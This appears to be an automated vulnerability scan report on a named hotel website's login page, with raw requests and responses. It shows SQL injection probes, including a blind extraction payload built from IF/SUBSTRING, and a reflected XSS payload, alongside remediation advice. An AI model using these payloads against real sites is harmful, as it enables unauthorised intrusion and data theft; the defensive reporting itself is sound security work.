SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://www.kimptonhotels.com/development/login.aspx [uname parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/login.aspx

Issue detail

The uname parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the uname parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

POST /development/login.aspx HTTP/1.1
Referer: http://www.kimptonhotels.com/development/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.kimptonhotels.com
Cookie: ASP.NET_SessionId=mxjwpa45tlxs4m45ogn1idur
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 340

__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBALS5%2fKZDwKL0%2fKVCgKxga%2fdBQLyiNGNB5AXOflGPXhQTwzu1bHDtWv0WGUq&__VIEWSTATE=%2fwEPDwUKMTU5NzA4MzM2N2RkFD4Jmf5tuGqWkVKoE6S7mY3nw34%3d&pword=-1%27OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT+UNIX_TIMESTAMP()),5,1)),0)>78),1,2))--%20&submitbutton=Login&uname=Ronald+Smith'

Response 1

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 21:09:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4699



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Kimpton Standards Login</title>

<
...[SNIP]...
<br />ERROR [42000] [MySQL][ODBC 5.1 Driver][mysqld-5.0.83-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT UNIX_TIMESTAMP()),5,1))' at line 1</td>
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 21:09:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4420



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Kimpton Standards Login</title>

<
...[SNIP]...

1.2. http://www.kimptonhotels.com/development/login.aspx [uname parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.kimptonhotels.com
Path:	/development/login.aspx

Issue detail

The uname parameter appears to be vulnerable to SQL injection attacks. The payloads 62384773'%20or%201%3d1--%20 and 62384773'%20or%201%3d2--%20 were each submitted in the uname parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

POST /development/login.aspx HTTP/1.1
Referer: http://www.kimptonhotels.com/development/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.kimptonhotels.com
Accept-Encoding: gzip, deflate
Content-Length: 330

__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBALS5%2fKZDwKL0%2fKVCgKxga%2fdBQLyiNGNB5AXOflGPXhQTwzu1bHDtWv0WGUq&__VIEWSTATE=%2fwEPDwUKMTU5NzA4MzM2N2RkFD4Jmf5tuGqWkVKoE6S7mY3nw34%3d&pword=-1%27OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT+DATE()),5,1)),0)<78),1,2))--%20&submitbutton=Login&uname=Ronald+Smith62384773'%20or%201%3d1--%20

Response 1 (redirected)

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 21:11:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4232



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Kimpton Standards Login</title>

<
...[SNIP]...
<td colspan="2"></td>
   </tr>

   <tr>

       <td width="100">
       <p style="margin: 10px 0 0 6px;">
       <strong>Username</strong>
       <span id="runame" class="required" style="color:Red;visibility:hidden;">Required</span>
       </p>
       </td>

       <td><input name="uname" type="text" id="uname" size="38" style="margin: 10px 0 0 0;" /></td>

   </tr>

   <tr valign="top">

       <td width="100">
       <p style="margin: 0 0 0 6px;">
       <strong>Password</strong>
       <span id="rpword" class="required" style="color:Red;visibility:hidden;">Required</span>
       </p>
       </td>

       <td><input name="pword" type="text" id="pword" size="38" style="margin: 10px 0 0 0;" /></td>

   </tr>

   <tr>

       <td colspan="2"><input type="submit" name="submitbutton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("submitbutton", "", true, "", "", false, false))" id="submitbutton" /></td>

   </tr>

</table>

<script type="text/javascript">
//<![CDATA[
var Page_Validators = new Array(document.getElementById("runame"), document.getElementById("rpword"));
//]]>
</script>

<script type="text/javascript">
//<![CDATA[
var runame = document.all ? document.all["runame"] : document.getElementById("runame");
runame.controltovalidate = "uname";
runame.errormessage = "Required";
runame.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";
runame.initialvalue = "";
var rpword = document.all ? document.all["rpword"] : document.getElementById("rpword");
rpword.controltovalidate = "pword";
rpword.errormessage = "Required";
rpword.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";
rpword.initialvalue = "";
//]]>
</script>

<script type="text/javascript">
//<![CDATA[

var Page_ValidationActive = false;
if (typeof(ValidatorOnLoad) == "function") {
ValidatorOnLoad();
}

function ValidatorOnSubmit() {
if (Page_ValidationActive) {
return ValidatorCommonOnSubmit();
}
else {

...[SNIP]...

Request 2

POST /development/login.aspx HTTP/1.1
Referer: http://www.kimptonhotels.com/development/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.kimptonhotels.com
Accept-Encoding: gzip, deflate
Content-Length: 330

__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBALS5%2fKZDwKL0%2fKVCgKxga%2fdBQLyiNGNB5AXOflGPXhQTwzu1bHDtWv0WGUq&__VIEWSTATE=%2fwEPDwUKMTU5NzA4MzM2N2RkFD4Jmf5tuGqWkVKoE6S7mY3nw34%3d&pword=-1%27OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT+DATE()),5,1)),0)<78),1,2))--%20&submitbutton=Login&uname=Ronald+Smith62384773'%20or%201%3d2--%20

Response 2

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 21:11:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4430



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Kimpton Standards Login</title>

<
...[SNIP]...
<td colspan="2">Your username and/or password was not found in the system.</td>
   </tr>

   <tr>

       <td width="100">
       <p style="margin: 10px 0 0 6px;">
       <strong>Username</strong>
       <span id="runame" class="required" style="color:Red;visibility:hidden;">Required</span>
       </p>
       </td>

       <td><input name="uname" type="text" value="Ronald Smith62384773' or 1=2-- " id="uname" size="38" style="margin: 10px 0 0 0;" /></td>

   </tr>

   <tr valign="top">

       <td width="100">
       <p style="margin: 0 0 0 6px;">
       <strong>Password</strong>
       <span id="rpword" class="required" style="color:Red;visibility:hidden;">Required</span>
       </p>
       </td>

       <td><input name="pword" type="text" value="-1'OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT DATE()),5,1)),0)<78),1,2))-- " id="pword" size="38" style="margin: 10px 0 0 0;" /></td>

   </tr>

   <tr>

       <td colspan="2"><input type="submit" name="submitbutton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("submitbutton", "", true, "", "", false, false))" id="submitbutton" /></td>

   </tr>

</table>

<script type="text/javascript">
//<![CDATA[
var Page_Validators = new Array(document.getElementById("runame"), document.getElementById("rpword"));
//]]>
</script>

<script type="text/javascript">
//<![CDATA[
var runame = document.all ? document.all["runame"] : document.getElementById("runame");
runame.controltovalidate = "uname";
runame.errormessage = "Required";
runame.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";
runame.initialvalue = "";
var rpword = document.all ? document.all["rpword"] : document.getElementById("rpword");
rpword.controltovalidate = "pword";
rpword.errormessage = "Required";
rpword.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";
rpword.initialvalue = "";
//]]>
</script>

<script type="text/javascript">
//<![CDATA[

var Page_ValidationActive = false;
if (typ
...[SNIP]...

2. Cross-site scripting (reflected) previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/login.aspx

Issue detail

The value of the pword request parameter is copied into the name of an HTML tag attribute. The payload e0d6d%20style%3dx%3aexpression(alert(1))%20adf567fa2a2 was submitted in the pword parameter. This input was echoed as e0d6d style=x:expression(alert(1)) adf567fa2a2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

POST /development/login.aspx HTTP/1.1
Referer: http://www.kimptonhotels.com/development/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.kimptonhotels.com
Accept-Encoding: gzip, deflate
Content-Length: 330

__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBALS5%2fKZDwKL0%2fKVCgKxga%2fdBQLyiNGNB5AXOflGPXhQTwzu1bHDtWv0WGUq&__VIEWSTATE=%2fwEPDwUKMTU5NzA4MzM2N2RkFD4Jmf5tuGqWkVKoE6S7mY3nw34%3d&pword=-1%27OR 1=1 AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT+DATE()),5,1)),0)<78),1,2))--%20e0d6d%20style%3dx%3aexpression(alert(1))%20adf567fa2a2&submitbutton=Login&uname=Ronald+Smith

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 21:06:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4737



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Kimpton Standards Login</title>

<
...[SNIP]...
<78),1,2))-- e0d6d style=x:expression(alert(1)) adf567fa2a2' LIMIT 0,' at line 1</td>
...[SNIP]...

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.kimptonhotels.com
Path:	/development/development-standards-legal.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQSBADAST=FCAODECAIBCGNICHCJCOHFLO; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /development/development-standards-legal.html HTTP/1.1
Host: www.kimptonhotels.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.kimptonhotels.com/
Cookie: WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681387317:ss=1287681387317; ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 21:00:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2912
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQSBADAST=FCAODECAIBCGNICHCJCOHFLO; path=/
Cache-control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Kimpton Standards Login</title>
<link rel="stylesheet" type="text/css" href="../_css/global.css">
<style type="tex
...[SNIP]...

4. Password field with autocomplete enabled previous next
There are 8 instances of this issue:

/
/development/future-development.aspx
/development/kimpton-development.aspx
/development/management-services.aspx
/hotels/factsheets/nine-zero-hotel-boston/
/hotels/hotels-boston.aspx
/hotels/hotels.aspx
/programs/red-ribbon.aspx

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. http://www.kimptonhotels.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET / HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 20:16:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 68980

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels: Boutique Hotels, Luxury Travel and Chef-Driven Gourmet Restaurants</title>
<meta http-equiv="
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.2. http://www.kimptonhotels.com/development/future-development.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/future-development.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /development/future-development.aspx HTTP/1.1
Host: www.kimptonhotels.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.kimptonhotels.com/
Cookie: WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681387317:ss=1287681387317; ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 21:00:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 74470

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels & Restaurants - Development - Future Development</title>
<meta http-equiv="Content-Type" c
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.3. http://www.kimptonhotels.com/development/kimpton-development.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/kimpton-development.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /development/kimpton-development.aspx HTTP/1.1
Host: www.kimptonhotels.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.kimptonhotels.com/
Cookie: WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681387317:ss=1287681387317; ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 21:00:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 68973

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels & Restaurants - Kimpton Development</title>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.4. http://www.kimptonhotels.com/development/management-services.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/development/management-services.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /development/management-services.aspx HTTP/1.1
Host: www.kimptonhotels.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.kimptonhotels.com/
Cookie: WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681387317:ss=1287681387317; ASP.NET_SessionId=x2krz4qwwvcfy4q2gshvcg55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Oct 2010 21:00:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 69668

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Kimpton Hotels & Restaurants - Development - Management Services</title><meta http-equiv="Content-Type" conte
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.5. http://www.kimptonhotels.com/hotels/factsheets/nine-zero-hotel-boston/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/factsheets/nine-zero-hotel-boston/

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /hotels/factsheets/nine-zero-hotel-boston/ HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Referer: http://www.kimptonhotels.com/hotels/hotels-boston.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ozvjv545zgoi0a45zqh0rf55; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681584319:ss=1287681387317

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 20:20:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 190994

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels: Boutique Hotels and Luxury Travel</title>
<meta content="text/html; charset=iso-8859-1" http-
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.6. http://www.kimptonhotels.com/hotels/hotels-boston.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/hotels-boston.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /hotels/hotels-boston.aspx HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Referer: http://www.kimptonhotels.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ozvjv545zgoi0a45zqh0rf55; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681554965:ss=1287681387317

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 20:20:02 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 75808

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels: Boutique Hotels and Luxury Travel - Boston Hotels</title>
<meta http-equiv="Content-Type" con
...[SNIP]...

<form name="inTouchSignInform" method="POST" action="/intouch/InTouchSignInProxy.aspx" id="inTouchSignInform">
   <div id="inTouchSignIn">
...[SNIP]...
</label>
           <input type="password" name="strPass" id="kitPw" size="20" />

           <input type="image" class="submit" src="/assets/btn_miniapp_signin.gif" border="0" alt="Kimpton InTouch Sign In" />
...[SNIP]...

4.7. http://www.kimptonhotels.com/hotels/hotels.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kimptonhotels.com
Path:	/hotels/hotels.aspx

Issue detail

The page contains a form with the following action URL:

http://www.kimptonhotels.com/intouch/InTouchSignInProxy.aspx

The form contains the following password field with autocomplete enabled:

strPass

Request

GET /hotels/hotels.aspx HTTP/1.1
Host: www.kimptonhotels.com
Proxy-Connection: keep-alive
Referer: http://www.kimptonhotels.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ozvjv545zgoi0a45zqh0rf55; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1287681554965:ss=1287681387317

Response

HTTP/1.1 200 OK
Date: Thu, 21 Oct 2010 20:19:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 188414

<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Kimpton Hotels: Boutique Hotels and Luxury Travel</title>
<meta http-equiv="Content-Type" content="text/html;
...[SNIP]...

